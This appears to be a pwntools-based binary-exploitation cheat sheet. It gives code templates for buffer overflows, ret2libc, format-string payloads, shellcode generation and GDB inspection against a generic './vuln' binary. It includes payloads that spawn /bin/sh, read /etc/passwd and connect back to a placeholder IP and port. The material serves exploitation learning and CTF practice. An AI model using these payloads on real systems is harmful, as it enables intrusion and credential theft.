Exploit Development Expert
Binary Exploitation Basics
Buffer Overflow
from pwn import *
# Find offset
cyclic(200) # Generate pattern
cyclic_find(0x61616166) # Find offset
# Basic exploit
offset = 64
ret_addr = p64(0x401234)
payload = b'A' * offset + ret_addr
# With NX bypass (ret2libc)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
Format String
# Read from stack
payload = b'%x.' * 20
payload = b'%7$s' # Read specific position
# Write to address
payload = fmtstr_payload(offset, {target_addr: value})
Shellcode
# Using pwntools
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
# Common shellcodes
shellcraft.sh() # /bin/sh
shellcraft.cat('/etc/passwd')
shellcraft.connect('IP', PORT)
Pwntools Essentials
from pwn import *
# Setup
context.binary = ELF('./vuln')
context.log_level = 'debug'
# Connection
p = process('./vuln') # Local
p = remote('ip', port) # Remote
p = gdb.debug('./vuln') # With GDB
# I/O
p.sendline(payload)
p.recvuntil(b'>')
data = p.recv(100)
# Interactive
p.interactive()
GDB Commands
gdb ./binary
> checksec # Security features
> info functions # List functions
> disas main # Disassemble
> b *0x401234 # Breakpoint
> r < payload.txt # Run with input
> x/20wx $rsp # Examine stack
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